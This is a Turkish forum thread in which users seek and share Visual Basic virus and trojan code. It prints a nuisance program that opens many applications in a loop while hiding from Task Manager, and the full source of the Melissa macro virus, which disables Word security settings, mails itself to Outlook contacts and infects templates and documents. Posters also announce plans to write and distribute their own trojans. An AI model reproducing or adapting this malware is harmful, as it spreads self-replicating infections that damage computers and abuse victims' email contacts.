Visual Basic Virüs Yapımı !!

zebani_81

zebani_81

New member
Katılım
20 Ağu 2005
Mesajlar
257
Reaction score
0
Puanları
0
Arkadaşlar Visual Basic yazılmış virüslerin codelerini bula bşilecem site arıyorum eger bildiklerinizi yazarsanız cok sevinirim spy trojan filen ok teşekkürler :aba:
 
Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Next
End Sub

timer in interval özelliğini 1000 yap.

bide forma bu kodu yerleştir ki görev yöneticisinde görünmesin.

Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub

kardeş küçük bi virüs ama belki işini görür!;)
 
Teşerkürler dostum başka code elinde olan varmı yada bildikleri spy trojan yada virüs code bulacam yer veya elinde olan
 
siteler harika....kendi imalatın olanları sabırsızlıkla bekliyorum....
 
'Melissa virüsü bir Macro virüsüdür.Sanirim hepiniz bilirsiniz Macro virüsünün ne oldugunu.
'Asagidaki kodlari bir bas modülüne ekleyin.

Private Sub Document_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub


ben denemedim ama deneyenler olmus


benim yazdıgım trojan var gelistiriyom bitince dagıtımını yapacam sana yollarım :D
 
Bende Aktif programa tuş gönderimini yaptım istek olursa veriym kodları
 
Saolasın kardeş de bu kodlarda timer kayboluyo yardım edin...
 
celo' Alıntı:
Saolasın kardeş de bu kodlarda timer kayboluyo yardım edin...
Genişletmek için tıkla ...

benim verdigim kodlardan söz ediyosan onda timer kullanılmıyor o kodları bir modül içine kopyala yeter ben denemedim ama deneyenler oldu...
 
:aba:
To_Berg' Alıntı:
www.hazirkod.com
www.vbasicmaster.com
www.programlama.com
www.vbasic.com
www.visualbasiccode.com

vaLLa Eskıden Bunlar Super Sitelerdi...Son İkisi Calisiyormu Bilmiyorum Ama iLk uc Tanesi Super Siteler...Bide Kendi Yaptigim VirusLer Var Onlari SetupLayip upLoad Edince Vericem...İsinizi Gorurse Ne Mutlu...
Genişletmek için tıkla ...


sabırsızlıkla bekliyoruz dostlar lüften herkez kendi yazdıgı virus yada trojan codelerini yayınlasın geliştirelim daha iyisini yapmaya calışalım hep beraber
 
oho bnm baya war vbde yazdım zaten çok kolay ki
reg e girmesini sağlıyom sona silinmesini istediğim dosyayı windows gösteriyom al sana bait bi virüs...........
arada restart ta attırabiliyom yayıonlarım kolay yani vb de asıl c++ ta göreyim kodu olan warsa...:)
 
Arkadaşım bence hiç boşuna kasma. Bende uğraştım bi aralar vbde trojan yazmaya baktım olucak gibi değil bende bırakmak zorunda kaldım. Bu iş akıntıda kürek çekmeye benziyor. :cool:
 
Cevap yazmak için giriş yap yada kayıt ol.
Geri
Üst